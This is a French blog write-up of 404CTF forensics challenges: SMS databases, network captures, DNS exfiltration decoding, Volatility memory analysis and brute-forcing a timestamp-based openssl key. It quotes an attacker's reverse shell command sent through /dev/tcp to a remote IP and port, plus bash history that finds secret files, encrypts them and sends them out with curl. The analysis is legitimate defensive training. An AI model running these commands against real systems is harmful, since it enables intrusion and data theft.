404CTF - Forensics 404CTF - Forensics

404CTF - Forensics

Analyse Forensique

Curieux SMS (Facile)

Plusieurs chercheurs sont suspectés d’avoir divulgué des informations classifiées. Leurs téléphones ont étés saisis et une image forensique de la base de données SMS a été extraite.

Résolution

On nous donne 3 bases de données. Dans la première, dans la table sms on peut lire: Le mot de passe pour accéder au dossier est 404CTF{m4r13_.

Dans la base 2, table conversations, on a cur13_.

Dans la base 3, table trheads on a 1898}.

Première tentative: 404CTF{m4r13_cur13_1898}. Raté!

On fouille un peu plus: on voit une image labo.png dans la table part avec la valeur 106 pour la colonne chset.

On peut donc aller ouvrir le fichier 106 avec un visionneur d’images. Elle affiche r4d1um_.

on peut donc essayer 404CTF{m4r13_cur13_r4d1um_1898}=> Réussi!

Le flag est donc 404CTF{m4r13_cur13_r4d1um_1898}.


Exfiltration Kantik [1/3] (Facile)

Des amis de l’Institut National de Calcul Kantik vous demandent votre aide suite à une attaque informatique qu’ils ont subie récemment. Il semblerait que l’attaquant ait pu prendre possession du serveur où étaient stockées leurs données de recherche et a supprimé la plupart de ces données que le laboratoire avait accumulées. Ils mettent à votre disposition une capture réseau du début de l’attaque jusqu’à l’exfiltration des données afin que vous les éclairiez sur l’intrusion.

En analysant la capture, récupérez les informations suivantes: - IP de l’attaquant - IP du serveur victime de l’attaque - Version du serveur Apache sur le serveur - Numéro de la CVE exploitée pour prendre possession du serveur - Port cible du reverse shell que l’attaquant met en place sur le serveur

Format du Flag : 404CTF{10.5.1.9_10.1.1.4_6.10.2_CVE-1999-12345_80}” où les informations sont indiquées dans l’ordre demandé ci-dessus et séparées par des ”_“

Résolution

On note les éléments suivants d’après l’énnoncé:

  • Serveur Apache
  • Reverse Shell

En observant les paquets, on tombe sur le N° 131 112 qui indique:

Frame 131112: Packet, 999 bytes on wire (7992 bits), 999 bytes captured (7992 bits)
Transmission Control Protocol, Src Port: 80, Dst Port: 34946, Seq: 1, Ack: 19, Len: 927
Source Port: 80
Destination Port: 34946
[...]
Hypertext Transfer Protocol
HTTP/1.1 200 OK\r\n
Date: Thu, 30 Apr 2026 10:50:36 GMT\r\n
Server: Apache/2.4.66 (Debian)\r\n
[...]

Donc on cherche une potentielle CVE sur Apache 2.4.66.

On tombe sur la CVE-2026-23918 qui a l’air de matcher ce qu’on cherche.

L’exploit se ferait par reset rapide et successif des connections, soit une séquence [SYN] suivie de [RST, ACK]. C’est effectivement un pattern qu’on retrouve très fréquemment au début de la capture.

On peut alors déjà déterminer l’adresse de l’attaquant, de la victime, et ce qui semble être la CVE exploitée pour le flag.

Nous reste à trouver le port du reverse shell. Et là, aucune idée!

La question est donc: cette CVE est-elle la bonne CVE? Parce qu’elle parle du protocole HTTP/2 qui n’est pas du tout utilisé dans cette capture!

Alors, retour à la case départ.

Un reverse shell inclus forcément des commandes linux (car OS Debian) dans les trames. Alors sur Wireshark, on peut ajouter la colonne Data dans la liste des colonnes suivies. On voit appparaître alors les éléments suivants:

Terminal window
0000 08 00 00 00 00 00 00 02 00 01 04 06 52 54 00 f5 ............RT..
0010 46 08 98 5a 45 00 00 66 92 6f 40 00 40 06 31 9b F..ZE..f.o@.@.1.
0020 c0 a8 7a b1 c0 a8 7a 85 00 17 88 2a 84 3f 3a af ..z...z....*.?:.
0030 bf 7d 8d 64 80 18 01 fd 76 e0 00 00 01 01 08 0a .}.d....v.......
0040 c6 34 85 0f 5e 62 08 42 4c 61 73 74 20 6c 6f 67 .4..^b.BLast log
0050 69 6e 3a 20 54 68 75 20 41 70 72 20 33 30 20 30 in: Thu Apr 30 0
0060 36 3a 35 30 3a 30 34 20 45 44 54 20 32 30 32 36 6:50:04 EDT 2026
0070 20 6f 6e 20 74 74 79 31 0d 0a on tty1..

Ce qui serait signe d’un shell. Puis à la suite, on voit des whoami, et autres commandes linux. Ceci laisse entendre que le reverse shell est en place, et utilise le protocole TELNET.

Puis, paquet 131 393:

Terminal window
0000 08 00 00 00 00 00 00 02 00 01 00 06 52 54 00 e4 ............RT..
0010 5e e9 7a b1 45 00 00 80 32 a8 40 00 40 06 91 48 ^.z.E...2.@.@..H
0020 c0 a8 7a 85 c0 a8 7a b1 88 2a 00 17 bf 7d 8d b6 ..z...z..*...}..
0030 84 3f 3f 99 80 18 02 0c 76 fa 00 00 01 01 08 0a .??.....v.......
0040 5e 62 56 ea c6 34 d3 b6 65 63 68 6f 20 27 62 61 ^bV..4..echo 'ba
0050 73 68 20 2d 69 20 3e 26 20 2f 64 65 76 2f 74 63 sh -i >& /dev/tc
0060 70 2f 31 39 32 2e 31 36 38 2e 31 32 32 2e 31 33 p/192.168.122.13
0070 33 2f 34 34 34 34 20 30 3e 26 31 27 20 3e 3e 20 3/4444 0>&1' >>
0080 2f 6f 70 74 2f 2e 73 79 73 74 65 6d 5f 75 70 64 /opt/.system_upd
0090 61 74 65 0d ate.

L’attaquant va donc utiliser /dev/tcp pour ouvrir une connection vers son IP 192.168.122.133 sur le port 4444 grâce à la commande:

Terminal window
echo 'bash -i >& /dev/tcp/192.168.122.133/4444 0>&1'

Donc, la CVE n’est clairement pas une CVE Apache, mais une CVE TELNET! On tombe alors sur la CVE-2026-24061 qui permet à un attaquant de se connecter en tant que root, ce qui matche notre attaque.

On peut alors composer le flag pour le chall: 404CTF{192.168.122.133_192.168.122.177_2.4.66_CVE-2026-24061_4444}

Notes

Ce challenge mets en évidence au début une suite de requêtes entre l’attaquant et la cible, notamment avec les requêtes GET /HNAP et GET /evox/about.

L’attaquant a donc scanné la cible (probablement avec nmap), avant de trouver le serveur TELNET disponible, et utilise alors la CVE (dont un exemple d’exploit est public) afin de se connecter au serveur.

D’après ce site, l’injection se fait dans la commande de login, soit après USER=. Hors, je n’ai pas réussi à obtenir cette donnée dans la capture.


Extractions d’ADNs (Facile)

Les résultats confidentiels d’une expérience ont fuité. À vous de découvrir comment. /!\ Attention à ne visiter aucun lien contenu dans cette capture réseau /!\

Résolution

On nous donne une capture PCAP.

Dans celle-ci, deux protocoles: HTTP/TCP et DNS.

Mon regard se porte d’abord sur les HTTP. A première vue, rien de particulier ne sort de ces requêtes. Des requêtes API sans intérêt sur des URL qui n’existent pas.

Par contre, côté DNS, c’est plus intéressant! Les requêtes sont toutes faites vers des noms de domaines avec des sous-domaines, par exemple www.kjeumrrwaeaaav2fijif.goog1e.com. Chaque sous-domaine fait 20 caractères, sauf le dernier.

Ces caractères sont probablement des données encodées. On peut alors essayer de les décoder depuis la base32.

En convertissant chunk par chunk, rien ne sort. Par contre, si on concatène le tout et qu’on convertis avec CyberChef, on voit alors sur les premiers octets RIFF6WEBP.

Nos données sont donc une image!

Avec un petit script Python pour extraire tout ceci:

import base64
chunks = [
"kjeumrrwaeaaav2fijif",
"mubyjquqcaaaf4vucdaa",
# ... tous tes chunks ...
"77j7i4aaa"
]
concat = ''.join(chunks).upper()
pad = (8 - len(concat) % 8) % 8
concat += '=' * pad
with open("image.webp", "wb") as f:
f.write(base64.b32decode(concat))

Puis, pour confirmer:

Terminal window
file image.webp
image.webp: RIFF (little-endian) data, Web/P image

Et si on ouvre notre image: Decoded WebP graphic showing the recovered CTF flag artifact from the DNS exfiltration analysis


Exfiltration Kantik [2/3] (Moyen)

L’attaquant a aussi supprimé une base de données qui contenait une donnée importante pour le laboratoire, fort heureusement une capture mémoire a pu être effectuée peu avant qu’il la supprime. Analysez les captures à votre disposition afin de récupérer cet élément secret.

Résolution

Première utilisation de Volatility 3.

En partant du principe que 95% du parc informatique est sous linux, on peut essayer de lire la bannière:

Terminal window
(venv) ┌─[gabrog@parrot]─[~/CTF/4042026/forensics/exfiltration-kantik-2-3]
└──╼ $vol -f memory_dump.lime banners.Banners
Volatility 3 Framework 2.28.1
Progress: 100.00 PDB scanning finished
Offset Banner
0xb7cb0d0 Linux version 6.1.0-44-amd64 (debian-kernel@lists.debian.org) (gcc-12 (Debian 12.2.0-14+deb12u1) 12.2.0, GNU ld (GNU Binutils for Debian) 2.40) #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09)

Donc Debian avec Kernel 6.1.0-44, on récupère les symboles ici, et on va s’amuser avec!

Si on cherche une BDD, alors il devait y avoir un service d’un serveur BDD:

Terminal window
(venv) ┌─[gabrog@parrot]─[~/CTF/4042026/forensics/exfiltration-kantik-2-3]
└──╼ $vol -s ~/CTF/Tools/volatility3/symbols/ -f memory_dump.lime linux.psaux.PsAux
Volatility 3 Framework 2.28.1
Progress: 100.00 Stacking attempts finished
PID PPID COMM ARGS
[...]
594 1 apache2 /usr/sbin/apache2 -k start
599 594 apache2 /usr/sbin/apache2 -k start
602 594 apache2 /usr/sbin/apache2 -k start
674 1 mariadbd /usr/sbin/mariadbd
[...]

Donc -> serveur MariaDB (et apache)

Avec un peu de chance, la BDD était en train d’écrire au moment du dump:

Terminal window
(venv) ┌─[gabrog@parrot]─[~/CTF/4042026/forensics/exfiltration-kantik-2-3]
└──╼ $vol -s ~/CTF/Tools/volatility3/symbols/ -f memory_dump.lime linux.lsof.Lsof | grep mariadb

=> rien

On va faire un extract des fichiers chargés en RAM:

Terminal window
(venv) ┌─[gabrog@parrot]─[~/CTF/4042026/forensics/exfiltration-kantik-2-3]
└──╼ $vol -s ~/CTF/Tools/volatility3/symbols/ -f memory_dump.lime linux.pagecache.RecoverFs

Ca va permettre de mieux naviguer dans ce qui est chargé, puis on trouve:

recovered_fs.tar.gz\efbd91e2-dbb7-497d-9514-41a8dedecdf3\var\lib\mysql\quantum_lab_db

Donc bien une BDD (nommée quantum_lab_db), faut trouver un moyen de l’extraire Elle est probablement en RAM donc on va extraire la mémoire du PID mariadb:

Terminal window
(venv) ┌─[gabrog@parrot]─[~/CTF/4042026/forensics/exfiltration-kantik-2-3]
└──╼ $vol -s ~/CTF/Tools/volatility3/symbols/ -f memory_dump.lime linux.proc.Maps --pid 674 --dump

On trie alors les fichiers par taille, puis on regarde dans chacun avec strings:

Terminal window
(venv) ┌─[gabrog@parrot]─[~/CTF/4042026/forensics/exfiltration-kantik-2-3]
└──╼ $strings pid.674.vma.0x7f3c6a000000-0x7f3c74000000.dmp

Puis on trouve:

NDA0Q1RGe0NoNFRfZDNfU2NoUjBkMW5nM3JfPl9DaDEzblRfRDNfU0NocjBEMW5HM1J9
# En base 64 devient
404CTF{Ch4T_d3_SchR0d1ng3r_>_Ch13nT_D3_SChr0D1nG3R}

Le flag est donc 404CTF{Ch4T_d3_SchR0d1ng3r_>_Ch13nT_D3_SChr0D1nG3R}


Exfiltration Kantik [3/3] (Moyen)

Le laboratoire vous a chargé de récupérer un rapport important figurant dans les données exfiltrées. Prouvez-leur que c’est un jeu d’enfant pour vous.

Résolution

On remarque sur la fin de la capture PCAP un POST sur /upload.

On suppose donc que c’est l’attaquant qui a exfiltré le fichier sensible.

La donnée est:

53616c7465645f5f02c0c51b22499ee176ad774f078d046a6c70[...]

Si on convertis ça en string:

Salted__[...]

Donc la donnée a été chiffrée. Il a probablement généré sa clé directement sur le serveur!

Terminal window
(venv) ┌─[✗]─[gabrog@parrot]─[~/CTF/4042026/forensics/exfiltration-kantik-2-3]
└──╼ $vol -s ~/CTF/Tools/volatility3/symbols/ -f memory_dump.lime linux.bash.Bash
Volatility 3 Framework 2.28.1
Progress: 100.00 Stacking attempts finished
PID Process CommandTime Command
[...]
1029 bash 2026-04-30 11:00:15.000000 UTC export ENCRYPT_KEY=$(printf '%x' $(date +%s))
[...]
1029 bash 2026-04-30 11:00:15.000000 UTC echo $ENCRYPT_KEY
[...]
1029 bash 2026-04-30 11:00:15.000000 UTC find /opt /home -type f \( -iname '*confidentiel*' -o -iname '*secret*' -o -iname '*password*' \) 2>/dev/null
1029 bash 2026-04-30 11:00:15.000000 UTC curl -X POST -H 'Content-Type: application/octet-stream' --data-binary @/tmp/.encrypted_data.enc http://192.168.122.133:8080/upload 2>&1
1029 bash 2026-04-30 11:00:15.000000 UTC openssl enc -aes-256-cbc -salt -in /tmp/.backup/data.tar.gz -out /tmp/.encrypted_data.enc -k $ENCRYPT_KEY
[...]

Sa clé a donc bien été générée sur le serveur! Il faut alors essayer de la retrouver.

On peut potentiellement estimer la date:

Terminal window
(venv) ┌─[gabrog@parrot]─[~/CTF/4042026/forensics/exfiltration-kantik-2-3]
└──╼ $vol -s ~/CTF/Tools/volatility3/symbols/ -f memory_dump.lime linux.boottime.Boottime
Volatility 3 Framework 2.28.1
Progress: 100.00 Stacking attempts finished
TIME NS Boot Time
4026531834 2026-04-30 10:38:27.641539 UTC

La machine est up depuis 10h38, du coup on va pouvoir bruteforcer le tout:

#!/usr/bin/env python3
import subprocess
from datetime import datetime, timezone
ENCRYPTED_FILE = "encrypted_data.enc"
OUTPUT_FILE = "decrypted.tar.gz"
# Boot time : 2026-04-30 10:38:27 UTC
START = int(datetime(2026, 4, 30, 10, 38, 27, tzinfo=timezone.utc).timestamp())
END = int(datetime(2026, 4, 30, 23, 59, 59, tzinfo=timezone.utc).timestamp())
print(f"[*] Bruteforce de {START} à {END} ({END - START} tentatives)")
for ts in range(START, END + 1):
key = format(ts, 'x')
result = subprocess.run(
["openssl", "enc", "-d", "-aes-256-cbc", "-in", ENCRYPTED_FILE, "-out", OUTPUT_FILE, "-k", key],
capture_output=True
)
if result.returncode == 0:
print(f"\n[+] CLÉ TROUVÉE : {key} (timestamp {ts})")
print(f"[+] Date : {datetime.fromtimestamp(ts, tz=timezone.utc)} UTC")
print(f"[+] Résultat : {OUTPUT_FILE}")
break
if ts % 1000 == 0:
pct = (ts - START) / (END - START) * 100
print(f"[-] {datetime.fromtimestamp(ts, tz=timezone.utc)} UTC ... {pct:.1f}%", end='\r')

Pour exécuter, on va donner la data dans un fichier avec la donnée en hexa:

Terminal window
(venv) ┌─[gabrog@parrot]─[~/CTF/4042026/forensics/exfiltration-kantik-2-3]
└──╼ $file hex_data.txt
hex_data.txt: ASCII text, with very long lines (62912)
(venv) ┌─[gabrog@parrot]─[~/CTF/4042026/forensics/exfiltration-kantik-2-3]
└──╼ $xxd -r -p hex_data.txt > encrypted_data.enc
(venv) ┌─[gabrog@parrot]─[~/CTF/4042026/forensics/exfiltration-kantik-2-3]
└──╼ $file encrypted_data.enc
encrypted_data.enc: openssl enc'd data with salted password

On a donc bien la donnée chiffrée dans encrypted_data.enc. on peut alors bruteforce:

Terminal window
(venv) ┌─[gabrog@parrot]─[~/CTF/4042026/forensics/exfiltration-kantik-2-3]
└──╼ $python3.11 bruteforce.py
[*] Bruteforce de 1777545507 à 1777593599 (48092 tentatives)
[+] CLÉ TROUVÉE : 69f33207 (timestamp 1777545735)
[+] Date : 2026-04-30 10:42:15+00:00 UTC
[+] Résultat : decrypted.tar.gz

Malheureusement, si on regarde le .tar.gz, alors on se rend compte qu’on peut toujours pas le lire: ce n’est pas un .tar.gz.

Donc, la clé n’est pas la bonne.

On peut améliorer notre bruteforce en rajoutant une vérification des magic bytes:

import subprocess
from datetime import datetime, timezone
ENCRYPTED_FILE = "encrypted_data.enc"
OUTPUT_FILE = "decrypted.tar.gz"
START = int(datetime(2026, 4, 30, 10, 38, 27, tzinfo=timezone.utc).timestamp())
END = int(datetime(2026, 4, 30, 23, 59, 59, tzinfo=timezone.utc).timestamp())
print(f"[*] Bruteforce de {START} à {END} ({END - START} tentatives)")
for ts in range(START, END + 1):
key = format(ts, 'x')
result = subprocess.run(
["openssl", "enc", "-d", "-aes-256-cbc",
"-in", ENCRYPTED_FILE, "-out", OUTPUT_FILE,
"-pass", f"pass:{key}", "-md", "sha256"],
capture_output=True
)
if result.returncode == 0:
# Vérifier les magic bytes gzip
with open(OUTPUT_FILE, 'rb') as f:
magic = f.read(2)
if magic == b'\x1f\x8b':
print(f"\n[+] CLÉ TROUVÉE : {key} (timestamp {ts})")
print(f"[+] Date : {datetime.fromtimestamp(ts, tz=timezone.utc)} UTC")
break
if ts % 1000 == 0:
pct = (ts - START) / (END - START) * 100
print(f"[-] {datetime.fromtimestamp(ts, tz=timezone.utc)} ... {pct:.1f}%", end='\r')

Auquel cas on aura une clé différente:

Terminal window
(venv) ┌─[gabrog@parrot]─[~/CTF/4042026/forensics/exfiltration-kantik-2-3]
└──╼ $python3.11 bruteforce.py
[*] Bruteforce de 1777545507 à 1777593599 (48092 tentatives)
[-] 2026-04-30 10:46:40+00:00 ... 1.0%
[+] CLÉ TROUVÉE : 69f33465 (timestamp 1777546341)
[+] Date : 2026-04-30 10:52:21+00:00 UTC

On peut alors regarder le contenu de l’archive, et on y trouve un fichier .pdf

Quand on l’ouvre, on a alors cette chaîne: 3430344354467B

C’est de l’hexa, convertis en ASCII:

404CTF{

Donc c’est le début du flag. Si on récupère l’hexa complet:

3430344354467b495f53573334525f544831535f31535f4e30545f345f4a304b335f31545f5233344c4c595f5730524b355f42334c314556335f4d337d devient 404CTF{I_SW34R_TH1S_1S_N0T_4_J0K3_1T_R34LLY_W0RK5_B3L1EV3_M3}.


← Back to blog